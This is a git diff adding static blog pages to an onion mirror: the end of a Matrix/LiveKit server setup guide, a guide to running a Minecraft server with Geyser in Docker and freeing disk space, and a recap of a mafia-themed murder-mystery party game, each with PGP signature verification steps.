    • Nginx http2 directive: Old Nginx may not support the http2 directive on listen. Use listen 443 ssl; (and add http2 if your version supports it).
    • +
    • Certificate name mismatch: Make sure rtc.example.com’s vhost uses a certificate for that exact hostname (initially I had the matrix.* cert on rtc.* and curl complained).
    • +
    • Postgres collation: Either initialize the cluster with C or use allow_unsafe_locale: true in Synapse DB config to get running quickly.
    • +
    • CORS duplication on /sfu/get: Only ONE Access-Control-Allow-Origin header. If the upstream adds it too, use proxy_hide_header Access-Control-Allow-Origin; on the Nginx location.
    • +
    • Cloudflare: Use DNS-only for rtc.*. Proxies can interfere with WS and UDP paths.
    • +
    • Firewall: Open the LiveKit UDP range and TURN ports on both v4 and v6.
    • +
    +
    +

    Final checklist (print me)

    +
      +
    • https://matrix.example.com/.well-known/matrix/client returns both m.homeserver.base_url and org.matrix.msc4143.rtc_foci pointing to https://rtc.example.com.
    • +
    • /_matrix/client/versions shows "org.matrix.msc4140": true.
    • +
    • /sfu/get preflight returns one Access-Control-Allow-Origin and 200/204.
    • +
    • Starting a call creates HTTP 101 entries to wss://rtc.example.com in rtc.access.log.
    • +
    • LiveKit logs show participants joining (not just CreateRoom).
    • +
    • /voip/turnServer returns time-limited TURN credentials.
    • +
    • Cloudflare set to DNS-only for rtc.*. UFW allows 7881/tcp and your LiveKit UDP range.
    • +
    +
    +

    Credits & tooling

    +
      +
    • Matrix Synapse, coTURN, LiveKit, Element Call.
    • +
    • curl, jq, docker compose logs, Nginx access logs. These are your best friends.
    • +
    • The debugging breakthrough was catching CORS errors in the browser console and looking for HTTP 101 in Nginx logs.
    • +
    +

    Happy calling! 🎉

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuQACgkQtYgoUOBM
    +jSpglxAArFNgxheR8m2r6QvtoEuHJwI51WQteu+0un0FiIfHKtFPcXd2HiVqzODu
    +YZvIGCAecMURQMRvrgB8cO3ebY8Yi9EECnC1sHsluE05GOuro5Htja7TbsGxwTc3
    +PIe+zju7lIhTHonqLogUyyunhWxOfg1RCaSjp3n6k/r2iEamgKu6Cihrv54wstGa
    +SVJbwubie1D9TPcXU3ynC+ynNBcmVevFl7g/X7Ie8Pw0SP1dJF+we5iVqUrZgPO2
    +AudHlWRm13j7Xifv/JxqymkZV1XiShIY8Mb0Ju8m5+HjkoIaZDtSfFyt+AwPdHDQ
    +m3sMXA7yZUvy+pXtziwrOnHFAez22goAr9Ar9KcwGQgRvyxKuuKIuTq+yxtCuXBF
    +fPWo5pL0rMtIfwRyaiiX9bwV+WbBXNhghTPnaxuQ3CWkLdiwaycI7xPDAg8FzFAR
    +7yoN0vqhKSvZlAL1OQS+4yRcXnguq7UY9UF+drG0f0QpC3aht1QgrJ04gvDp2BOk
    +ymmlxCxUWQrFSqDThjv7WFCclamKTimCODKWvIG6sjQcJuLCg9CXRl+ZMvwobQqH
    +Tv8cm8PMimqJppUodB3Ig5zP3ZkVcK8uFm5XqoUnasqDVLLJaRcCu+Qt4h9gZ2w6
    +Q3Q6K/zPZcKEIrwJfczWotSgG0g8dnuMUUYALWTbRrGjN0mgCss=
    +=yHZZ
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/matrix_setup.md.asc
    +gpg --verify matrix_setup.md.asc matrix_setup.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/minecraft_server.asc b/public-onion/posts/minecraft_server.asc new file mode 100644 index 0000000..94551ff --- /dev/null +++ b/public-onion/posts/minecraft_server.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAsYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9rkP/RNjRctt3alvjMKSqwPvFZVQ +o2gSnGxmSxgq7hxYc5bEEXvfRYtw6leMfdFeZ91w16OqLgIlwZb/B3iOimtyH7UB +vDpHfal3TLX9kaHjzWmLXbMhMY/ID1wf0ZceSXAgapPiRnp3LZgjB/eyKYvUE+ns +AlT2nxW6vJ/lUkf7boVLfi215bm96G37ygWwg4V+QWAaW9X+0RzcYwx4njxJv5NK +Q02fQuTah/Nb8/plBgUB0JJI5HaYKCEMs25818bmavbCsH1b9KujMCGx05RfkVfl +vOGCGv2GNJ/CjpCLyTgRm9p2eM2SoGzYEds5tHamsgHMJ5xFXQneDsC2C96ollhj +YmujUfHK7xKjyq8kyhCxKuz7+OEL2H1jXvosIqJorRZQUKZyv9vfMGeX1PIhUYbn +VlOr3KVJsiR81cBs9vOc88Y3Y3QyJBQ7unab/V8dFcJMrN8NqUYw17GWJm9enR2D +WenBkbGmpck/clIDz05zNXMry38RO4Xx9PEPFYUhw8+zMTeLSpNjHVt535JWWbln +avmWEqyVLEuX+62BNQv/xUhF81c+SIEqmJSbgeezIh0EprDOJtKwv3le5etZVj10 +OS0b87v+X9eSRarQahEXSbaes1dyAR0D4AF5xzMTxmC+MRN1xl00CEV+gIJti2xD +j2cjrN+PUnXxR8fSHzpg +=gvzQ +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/minecraft_server/index.html b/public-onion/posts/minecraft_server/index.html new file mode 100644 index 0000000..7237227 --- /dev/null +++ b/public-onion/posts/minecraft_server/index.html @@ -0,0 +1,697 @@ + + + + + + + +Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + Dockerizing my Minecraft Server + Geyser: from 'no space left' to stable releases +

    + +
    +

    Why

    +

    I’ve been running a Java Minecraft world (with Bedrock players via Geyser) in tmux. I moved it to Docker for easier updates, backups, and restarts. Along the way I hit:

    +
      +
    • failed to register layer: ... no space left on device
    • +
    • Client saying: “Outdated client, please use 1.21.9 Pre-Release 2”
    • +
    • Wanting config in a neat .env and no whitelist
    • +
    +

    Here’s exactly what I did.

    +
    +

    Folder layout

    +
    ~/minecraft/
    +├─ docker-compose.yml
    +├─ .env
    +└─ plugins/
    +

    +

    .env (secrets & knobs)

    +

    Use the latest stable (not snapshots/pre-releases) by setting VERSION=LATEST.

    +
    # Minecraft server configuration
    +EULA=TRUE
    +TYPE=PAPER
    +VERSION=LATEST
    +MEMORY=4G
    +USE_AIKAR_FLAGS=true
    +
    +# RCON (remote console)
    +ENABLE_RCON=true
    +RCON_PASSWORD=superSecretPassword123
    +
    +

    I don’t use a whitelist, so no WHITELIST/ENFORCE_WHITELIST variables.

    +
    +

    docker-compose.yml

    +
    services:
    +  mc:
    +    image: itzg/minecraft-server:latest
    +    container_name: mc
    +    restart: unless-stopped
    +    ports:
    +      - "25565:25565"        # Java
    +      - "19132:19132/udp"    # Bedrock via Geyser plugin
    +    env_file:
    +      - .env
    +    volumes:
    +      - mc-data:/data
    +      - ./plugins:/plugins:ro
    +volumes:
    +  mc-data: {}
    +
    +

    The version: key in Compose is obsolete now, so I dropped it.

    +
    +

    Add Geyser (and optional Floodgate) as plugins

    +
    mkdir -p ~/minecraft/plugins
    +cd ~/minecraft/plugins
    +
    +# Geyser (Spigot/Paper)
    +wget https://download.geysermc.org/v2/projects/geyser/versions/latest/builds/latest/downloads/spigot   -O Geyser-Spigot.jar
    +
    +# Floodgate (optional: Bedrock accounts without Java linking)
    +wget https://download.geysermc.org/v2/projects/floodgate/versions/latest/builds/latest/downloads/spigot   -O Floodgate-Spigot.jar
    +

    Start it up:

    +
    docker compose up -d
    +

    On first run, Geyser writes its config to /data/plugins/Geyser-Spigot/. Open UDP 19132 on your firewall.

    +
    +

    Hit a wall: /var ran out of space

    +

    Docker stores layers at /var/lib/docker by default. My /var LV was tiny:

    + +
    /dev/mapper/ubuntu--vg-var 3.9G 3.4G 333M 92% /var
    + +

    Quick cleanup

    +
    docker system df
    +docker system prune -f
    +docker builder prune -af
    +sudo apt-get clean
    +sudo journalctl --vacuum-size=100M
    +

    If that’s not enough, you have two good options:

    +

    Option A — Move Docker’s data off /var

    +
    sudo systemctl stop docker
    +sudo mkdir -p /home/docker
    +sudo rsync -aHAX --info=progress2 /var/lib/docker/ /home/docker/
    +echo '{ "data-root": "/home/docker" }' | sudo tee /etc/docker/daemon.json
    +sudo systemctl start docker
    +docker info | grep "Docker Root Dir"
    +

    If all looks good, free the old space:

    +
    sudo rm -rf /var/lib/docker/*
    +

    Option B — Grow /var (LVM)

    +

    Check free space in the VG:

    +
    sudo vgdisplay   # look for "Free PE / Size"
    +

    If available, extend /var by +5G:

    +
    sudo lvextend -L +5G /dev/mapper/ubuntu--vg-var
    +sudo resize2fs /dev/mapper/ubuntu--vg-var
    +

    +

    The version mismatch: pre-release vs stable

    +

    My logs showed:

    + +
    Starting minecraft server version 1.21.9 Pre-Release 2
    + +

    That happens if the server pulls a pre-release build (or if VERSION=LATEST). Fix:

    +
      +
    1. Ensure .env has: +
      VERSION=LATEST_RELEASE
      +
    2. +
    3. Recreate: +
      docker compose down
      +docker compose pull
      +docker compose up -d
      +
    4. +
    5. Verify: +
      docker logs mc | grep "Starting minecraft server version"
      +# -> Starting minecraft server version 1.21.1   (example)
      +
    6. +
    +
    +

    Tip: If you want to pin and avoid auto-updates entirely, set VERSION=1.21.1 (or whatever stable you’ve validated).

    +
    +

    No whitelist

    +

    Because I don’t set WHITELIST/ENFORCE_WHITELIST, anyone can join (subject to online-mode, bans, and Geyser/Floodgate auth settings). Manage ops/permissions via:

    +
    docker exec -it mc rcon-cli "op YourJavaIGN"
    +

    (or edit /data/ops.json).

    +
    +

    Backup & updates

    +
      +
    • World/data live under the mc-data volume → back up /data regularly.
    • +
    • Update cleanly: +
      docker compose pull && docker compose up -d
      +
    • +
    • Watch space: +
      watch -n5 'df -h /var; docker system df'
      +
    • +
    +
    +

    TL;DR

    +
      +
    • Put Geyser/Floodgate jars in ./plugins and expose 19132/udp.
    • +
    • Keep configs in .env.
    • +
    • Fix /var space by pruning, moving Docker’s data-root, or extending /var via LVM.
    • +
    • Verify version in logs after each change.
    • +
    +

    Happy block-breaking! 🧱🚀

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuAACgkQtYgoUOBM
    +jSrrmBAAuVoSvB3tRIzD+N0F5OwfYvG3V3z6ok58df7p4js91/a9lcki2ywxw/Dy
    +Q3aeieiGITkd/zMNjTydy4XjkScoRFFlL5GVZ2WNjO8CvjpEv3nK7EX6jRt5leMV
    +0D0DESMnOQzgo4a1CuNHrYPHKPaMVpJ/1aKOUZwyPC9j8/70irAJpoA2jdBgSsxw
    +7p/hYijX0vGJ8+WSFj6707dh6hNRk5ZaNc0cElpkE4kXA31H0h/fRwPPteT4wjGA
    +JWQAyEUu3Vx/U0BnN6R9Lne+5cqxO0Kh8VrcBpyH2VpqH3fDk1fIHk1RdhDxwKD7
    +OzvAT5XXRS5Q6Udc7Nsa9T/OYG+elcgMAMFXosItqTRJNG72OyWloLVc/OrJ5Qsc
    +s81FbfcHp1dgjJ2gtO2Eyb/wb1WkyvrQegNnjuJzMt3awBN1BWex5Nn4Bz+UbLDz
    +g6dGQxcpfDJ6F9Tjz/ru7RZ9Yic/bo8vVvKaa6FhSAwF4SluKWS3cf3meE4GQD5r
    +NrClzg0Vujk/3zP/6yhCL7I0SwQ+NeW2HoUHeoawApBmFt/q5du4ftIx2iMMeWoH
    +F91H35CchRtKArxjpwFNt/J1QAPvKx9UvzA2uAl+LNOWXf/gomXH6Tqm9vnWr/aX
    +sczdH6N2E0+7KDO7NwjBJWa/QwdXKUlOq5fFgAop22v3vWOml1M=
    +=NmxL
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/minecraft_server.md.asc
    +gpg --verify minecraft_server.md.asc minecraft_server.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + + diff --git a/public-onion/posts/murder_mystery_night.asc b/public-onion/posts/murder_mystery_night.asc new file mode 100644 index 0000000..1991a38 --- /dev/null +++ b/public-onion/posts/murder_mystery_night.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAwYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qxdkP/1CuhwinoXks55Swn9wdn6B1 +6HCDCTvLWjxiJ3ix/g9uelB2VPiJa2wH72+RSReWiEBQG5W0fuW3iSHWQ9xouRcs +NWCmW/k+NdwmTv2I9PCuwaPwUg/BPPxMUS7Oo1Zog21lDM+fzpQkW8QAUZgpjdqz +0bbwYbQQJtHJa5oo8M7bx9pggCJMfLKtXafsP/p4zkGo0/mByAoDPW4u3MXkJZXj +YcCzesgfa+QW4SddXsWemxFtgaVlZqLywCanTd3dmWjNnfHcL03TpzxxQdd92i3g +sGy2Zv7/DjBfGOdvWfXuaMLDXWC9zDLmJbnYVNd2Rks7WOlyUe29UfZFII9u34ww +SgxFWDPu5MXAEfSDprBuyFZUjDh/HFXqp3WfOXNPh9V7/qH6hE3pLqZnV0RDGhYS +tZHVnS12b7mEoLtDj4LlgXAHGLhjXU/bq8bkVOATNyFPREVS96cW6ouafiCGp2In +dm3/NE97zXW8UqYSE5CzdqVPRiUL3JgqsfprvQMJtk1mbsiP1zl8+hFv3X2P4yQB +sBNsGRjtjNYPqE54EMQV9UglFWUSElCpmqs6yuNqPsdGt7OgJjaK2i0IMGEpig3K +Oc62SuntWeFi7VqH8fY47z3L2jjlQEFOSVSZwNCO12pK9DiJpUSB0MQwZ2GluPGy +NNu4bQAyPKanlq6BMODg +=tx76 +-----END PGP SIGNATURE----- diff --git a/public-onion/posts/murder_mystery_night/index.html b/public-onion/posts/murder_mystery_night/index.html new file mode 100644 index 0000000..fdd2d06 --- /dev/null +++ b/public-onion/posts/murder_mystery_night/index.html @@ -0,0 +1,760 @@ + + + + + + + +La Plaza: The Falcones & the Morettis | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + +
    +
    + +

    + La Plaza: The Falcones & the Morettis +

    + +
    + +

    Last night I attended a ZiS event called “the Murder Mystery night”.

    +

    The story was about two families. The Falcones, and the Moretti family.

    +
    +

    Gold-embossed invitations arrive at La Plaza for a celebration of life honoring Salvatore Falcone, recently slain Don. All members of the Moretti family are invited to the party!

    +

    Family Trees

    + + + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph falcone["Falcone — current generation"] +direction TB +Salvatore["Salvatore Falcone
    dead boss"] +Serena["Serena
    widow (bosswife)"] +Salvatore -- Married --> Serena +%% row: siblings +subgraph falcone_row1[ ] +direction LR + Sophia["Sophia
    underboss"] + Massimo["Massimo
    lawyer"] + Fabiola["Fabiola
    financial
    advisor"] + Aurora["Aurora
    associate"] +end + +%% row: next generation +subgraph falcone_row2[ ] +direction LR + Lorenzo["Lorenzo
    fixer
    (Sophia's son)"] + Michelangelo["Michelangelo
    enforcer
    (Massimo's son)"] + Antonio["Antonio
    hitman"] +end + +Sophia --> Lorenzo +Massimo --> Michelangelo +Fabiola -- Married --> Antonio +end +
    + + + + +
    +%%{init: {"flowchart":{"htmlLabels": true, "nodeSpacing": 30, "rankSpacing": 35}} }%% +flowchart TB +subgraph moretti["Moretti family"] +direction TB +Benito["Benito
    boss"] +Nicoletta["Nicoletta
    bosswife"] +Claudia["Claudia
    ex wife"] +Benito -- Married --> Nicoletta +Benito -- Divorced --> Claudia + +%% row: children +subgraph moretti_row1[ ] +direction LR + Sergio["Sergio
    underboss"] + Lucia["Lucia
    associate"] +end +Benito -->|son| Sergio +Nicoletta -->|son| Sergio +Benito -->|daughter| Lucia +Claudia -->|daughter| Lucia + +%% row: Lucia's crew +subgraph moretti_row2[ ] +direction LR + Violetta["Violetta
    fixer"] + Santo["Santo
    enforcer"] +end +Lucia --> Violetta +Lucia --> Santo +end + +Enrico["Enrico
    finantial advisor"] +Benito ---|younger brother| Enrico +
    + + +
    +

    Who’s Who (quick dossiers)

    +

    Falcone notes

    +
      +
    • Salvatore Falcone (†) — Former Don, killed under mysterious circumstances.
    • +
    • Serena — Salvatore’s widow; trades in charm and influence, now vying for power—especially against Sophia.
    • +
    • Sophia — Eldest sibling, longtime underboss; disciplined, feared; sees herself as rightful heir after Salvatore.
    • +
    • Massimo — Younger brother; justice-minded, hardened by his wife’s death.
    • +
    • Aurora — Youngest; underestimated as naive or harmless, but observant.
    • +
    • Fabiola — Ambitious financial brain; growth-focused, clashes with tradition.
    • +
    • Antonio — Fabiola’s husband; trusted hitman with careless drinking and looser lips than he should have.
    • +
    • Michelangelo — Massimo’s son; enforcer torn by guilt over his mother’s murder.
    • +
    • Lorenzo — Sophia’s son; quiet fixer who tidies messes, unflappable.
    • +
    +

    Moretti notes

    +
      +
    • Benito — Calculating, paranoid Boss; obsessed with securing the bloodline through his son.
    • +
    • Nicoletta — Benito’s wife; once a prostitute, now regal and cunning.
    • +
    • Sergio — Only son; appointed underboss young. All glitter, charm…and a crack in the armor: the game.
    • +
    • Enrico — Benito’s younger brother; accountant; clever, restless for influence.
    • +
    • Violetta — The family’s ice-cold fixer; keeps things “clean,” whatever it costs.
    • +
    • Claudia — Benito’s ex-wife; elegant, humiliated but dangerous in refined ways.
    • +
    • Lucia — Daughter of Benito and Claudia; proud, protective, hungry for attention from the core family.
    • +
    • Santo — Lucia’s son; bold, admired and doubted in equal measure.
    • +
    +

    Aside from these characters, there were two additional characters. +Falcon’s priest, who had confessions from every Falcon family member, and a prostitute who had slept with many of the characters in the story, and had dirt on them!

    +
    +

    World sketch: the Falcones make problems disappear and launder fortunes behind bright lights and polished floors; the Morettis flaunt neon glamour while doing the real work in shadows.

    +
    +

    After the introduction, I assumed the role of Sergio, heir to Benito and his apparent son, as the story unfolded. +All I knew was that on the night of the murder, I was not in Falcon’s house, and that I was out in a casino with Aurora.

    +

    I didn’t know how little I know about the story until the middle of the game, where everyone was starting to spill the beans! It was insane how clueless I was. LMAO

    +

    So, without further of do, let’s dive riiiiiiiiiight in!!!! Weeeee haaaaa xD

    +

    Act I, the dinner

    +

    We arrived at the family party, dressed in colorful dresses, as it was supposed to be the celebration of life. +Or that’s what was written in our invitations.

    +

    The Falcons were in black, grieving a lost one, their beloved boss, Salvatore Falcone.

    +

    The clash was instant as they though we were disrespectful to wear such cloths. +As Sophia, the organizer of the dinner, started to give us scary looks, Violetta came at her with no chill.

    +

    She said, “I know what the purpose of this dinner is, you are accusing us of murder! But shall not heed. This is an insider job, a betrayal, and we will uncover it.”

    +

    The Falcones were not happy with any of it. Massimo, Michelangelo, Lorenzo, Antonio, and Serena went back at her for how dares she! +They said Why would they take it so far to accuse them of accusing us of murder.

    +

    Violetta, our family’s ice-cold fixer, replied, “it is clear from our invitations, they are all crossed out on purpose. You want us to look bad, or someone from within is doing it with that intention”.

    +

    They went quiet. They were just as confused. Sophia invited us to sit down and eat in calm. We acknowledged and grabbed bites to eat. When all were happy and satisfied, we geared up for round two of discussions.

    +

    While the game continued, the dinner also stood out. Every dish was delicious, beautifully prepared, and truly made the evening special. I want to give props to the organizer (won’t name here out of privacy). Thank you again for such an amazing event!

    +

    Act II, the invitations

    +

    Sophia looked at us with her death smile and said, “I was involved with 9 invitations, the ones to our family, and nothing more.”

    +

    The room went into a deep silence. What did she mean? Who made Moretti’s invitations? Why were they crossed out? Why did it say it was a celebration of life, while it was a gathering of grief? Why did it ask Moretti’s to wear colorful dresses, and not black like Falcones? Who was plotting this? Was this going to end in a bloodbath? Or will the families work it out?

    +

    The occasion was grim, but the outcome was immense. Either the two sworn families rip this thin bond once and for all, or they will come out as stronger allies, ruling the lands under their influence with no power to stop them.

    +

    Violetta then looked at Sophia with her dead eyes. Both families knew the fire was going to just grow stronger…

    +

    Act III, the evidence

    +

    Violetta asked Sophia for pictures of the crime scene. Sophia signaled Michelangelo to deliver, and he did.

    +

    There were four pictures and a dissection report. Two of the pictures were from the bullet marks that had exited Salvatore’s body from the other side. The third picture was of Salvatore’s dead body, fallen on the ground in front of the set of stairs. The report stated two shots were fired, one to the head and one to the chest. Both exited the body and were fatal. The body was pushed down the stairs. According to the last picture and the dissection report, the two bullets had different calibers: a 9mm Luger and .243 WIN.

    +

    Massimo got up from his sit, pointing to an article about her wife’s death. He stated how this was similar to her death, and how she died “The Moretti way”. “She was shot and pushed down the stairs. What other evidence do you need?” said Massimo.

    +

    Benito replied calmly, “But Salvatore didn’t die the Moretti way. We use one bullet, and push the victim down afterwards. We never miss.”. “Salvatore was facing away from the stairs, according to the image, we never execute like that. We are not cowards.”, said Sergio with a collected tone.

    +

    Massimo wasn’t convinced, but he knew they were right. He just could not forgive her wife’s death.

    +

    The room went into silence again.

    +

    Violetta presented additional evidence: a picture of Salvatore with a police officer at a bar, alongside bank statements from Fabiola’s accounting showing F&E laundering money for Salvatore. No one knew what F&E stood for, but Enrico and Fabiola were suspected. They remained silent, drawing suspicion, and eventually explained that the families were linked at Enrico and Salvatore’s level, using the Falcones’ casinos to clean cocaine profits, benefitting both sides. It was unclear if Benito knew or simply would not discuss it.

    +

    In the picture, it can be seen that a note was being passed to Salvatore. It was hard to read, but it said: “Be careful”.

    +

    Serena pointed to Antonio, and he took out a piece of paper of the family’s weekly report. It was stated that Sergio and Aurora had been seen together multiple times. But why? Sergio does live a lavish lifestyle. He regularly goes to casinos, sometimes suspiciously wins large amounts, and sometimes loses a fortune. When confronted about this, he just said he enjoyed the company. But what business did the heir to Moretti’s have with the youngest of the Falcones?

    +

    Lorenzo and Michelangelo pushed this matter further. They claimed Michelangelo was tasked to get dirt on them, and to envolve Antonio if needed. In the back of a picture taken of the two of them (Sergio and Aurora) in the casino, it was written that this is abnormal behaviour, and that they should be careful with Sergio. Antonio’s report also stated the same, that they should be mindful of Sergio. Sergio only mentioned that he was not at Falcones’ that night, and that he was in a casino with Aurora; no further explanation was provided by him.

    +

    Aurora didn’t budge either.

    +

    Sergio changed the subject swiftly. He pointed to the gun used for the murder and said, “Doesn’t that look like Santo’s gun? Where were you that night, Santos?”. “I was at home, with my mother”, Santos replied, and Lucia nodded.

    +

    It felt like this conversation was going nowhere. Sophia asked the priest and the prostitute to speak up.

    +

    Act IV, the confessions

    +

    The priest came into the room. He mentioned that Aurora had confessed to being in love with Serio. That Antonio had wittnessed he is cheating on Fabiola with Lorenzo, that Michelangelo was mad about finding out Fabiola was working with Morettis, and that Salvatore had know this for a long time. He mentioned how Salvatore had changed his will before his death from giving everything to his heir, Sophia, to whoever uncovers how he dies. He mentioned how Serena had heard “there was another heir to Salvatore’s fortune”, that she was paranoid now, that all the time he asked for an heir, he wanted a son, not a child.

    +

    The prostitute continued, “Benito ordered to kill her mistress before the child was born, but he didn’t manage”. She said how Sergio had told him after getting drunk that he did not like women, but used them to his advantage.

    +

    Claudia wasn’t feeling well. She loved her daughter Lucia, but was she the mistress? Why did Benito leave her for Nicoletta? A former prostitute. Did he order them to kill her?

    +

    The prostitute then continued. “Sergio is not Benito’s son”. Violetta showed a piece of paper indicating that DNA results show he is indeed not Benito’s son. Benito smiled. “Sergio is my son, even if not my blood. He slept with Aurora, this prostitute, Fabiola, and Sophia for our cause.”

    +

    Sergio did not smile, or any changes in his face. He was ice-cold.

    +

    It was still not clear who plotted to kill Salvatore. Everyone was confused.

    +

    It was time for deduction.

    +

    Act V, the killer(s)

    +

    After a long discussion between all the family members, these were the conclusions.

    +

    It was evident that Serena was in her part of the mansion, far from Falcone. A different house. Antonio was chilling at his house with Fabiola. Massimo claimed he was at his office, working on cleaning family from some cases. Aurora was with Sergio in a casino. Benito, Lucia, Santo, Claudia, Enrico, and Nicoletta were at Moretti’s. That left Michelangelo, Lorenzo, and Violetta. No one knew what they were doing or where they were.

    +

    Initially, Michelangelo and Lorenzo claimed they were following Sergio and Aurora, but the evidence showed they were there only for a fraction of the night.

    +

    If everyone was telling the truth, one or two of Michelangelo, Lorenzo, and Violetta were the killers. From the confessions the priest provided, Michelangelo had the most valid motivation for this killing. He was not happy about the family’s side business with the killer of her mother. He was not happy that Salvatore did not care. But there were two different guns used. Did Lorenzo really help take out the head of the family? But why?

    +

    Lorenzo had affairs with Antonio, and he knew Fabiola was working with Enrico to launder money. It was the perfect plan. The two of them would kill Salvatore, make it look like Fabiola and Enrico killed the head of the family by making it look like “The Moretti” way. Then Lorenzo gets to Antonio, and +Michelangelo would take his revenge. Sergio would also not get his hand on Salvatore’s money, as with all ties broken, no one would suspect he was Salvatore’s son. Nicoletta would also not talk, as she would lose everything if she confessed.

    +

    Although all evidence was against Lorenzo and Michelangelo, they did not confess. Violetta had to break it to them again. She said she was at Falcones on the night of the murder to get dirt on them. She said she was hiding in a closet, and that she saw everything. She said that she even has pictures and soundproof of all that happened. When asked why she didn’t mention any of this earlier, she said she wanted to see how far they would go with this, and how much the lie, and what they had plotted. She also wanted to gather more information from whatever people said during these discussions. What a clever fixer! A true piece of treasure from Moretti’s side.

    +

    It was over for Lorenzo and Michelangelo. Lorenzo burst into tears after all of this. He said that Sophia was not protecting the family as the underboss and heir. How could she lose her title if the fact about Sergio were known someday?

    +

    Sophia was just disappointed with all of this. She didn’t budge.

    +

    The epilogue

    +

    Most people weren’t sharing what they knew not to become sus! I didn’t talk to everyone, but for example, the person who played Santo’s role said his card stated he was cleaning his 9mm pistol on the night of the murder. He never mentioned this. Though this would through suspicion on him, when Lucia and other members vouched that he was at home with them, we would not have been misled by some random fact that his pistol was missing, or that one of the murder weapons looked like his. I think there was a lot of information that people either mispresented or decided not to. This ruined the flow of the story. I’m not sure if Violetta had to say she was hiding in the closet or not, but it was really late, and I think we were not sure who the killers really were, since people weren’t presenting everything they knew.

    +

    Overall, this was the most fun event I have ever attended from ZiS. Everything was perfect, and the organizer was amazing. I would say the person who organized this event is the best of the tutors! They had also organized a game night where we played many fun games online, which was my second most favorite event! Thank you so incredibly much once again for the event!

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuEACgkQtYgoUOBM
    +jSp8sg/9HQfL6MJNbK9138ynptOPkYSjDMyEhaI9GfmV2MRlSwkipwWO2GdLstm+
    +bc8KNd1E5TQknN21P24dMqkQ2iDm6s0bDsVQ4X/iZfTwBBoGOD5Z2WvqBUqZo04d
    +ddb4Vk3fqB8hRpcDvqLM3iawn4a5vxGR3tvN16XrGZuyedHFi4YELLIHB0ks3b2p
    +zr6zHOniJ1aCSju8WS28cUMjNz+xCIBKLaHhiZjJ4yQaQVG456VIHCfYYNLo7gwj
    +3lGViTWg273r6YtxIOQBITPXp1Xib8AFubO7Cs1mTo9sEZcWdWFWslAmTLRiHt0x
    +4E58Ob8u/DDfmJrJlzNT/XABcqmLPrs/vAtT8jZNAKRyvtlCN+q2hB6Bu1tndVPH
    +qIrSt7ykMhhDYz6A6MzXkwIKG+lC6sygqISnL8NLnzOJVGy5Jl1Ig82g8DJI7qDJ
    +nh4a+E1ts4Iec2ASQtsZFfSlEcoKjXYbZ9npr8jg2temUxIMYq94L/Zeh0o+Ymxp
    +Qy7GC0YNddKgcvsPX/GwealKrCjRNIWuVogF/q86ASKAyZxDtWsAryOTufu7eV1T
    +QC68HqpwR8bvVPbmIk7l4vQSOXNjZuqaMOOkpFvMkwyOoAyRpmI9ksj0v5GllpIC
    +AidP1vQUUJUGtXbiW0vMufUc/fyulH1o0LCfwTLJoTyiBEwjNsw=
    +=3iUy
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/murder_mystery_night.md.asc
    +gpg --verify murder_mystery_night.md.asc murder_mystery_night.md
    +  
    +
    + + + + +
    + +
    + + + Open on GitHub ↗ +
    + + + + + + + +
    +
    + +
    + + + Comments powered by Isso + +
    + + + + +
    +
    + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
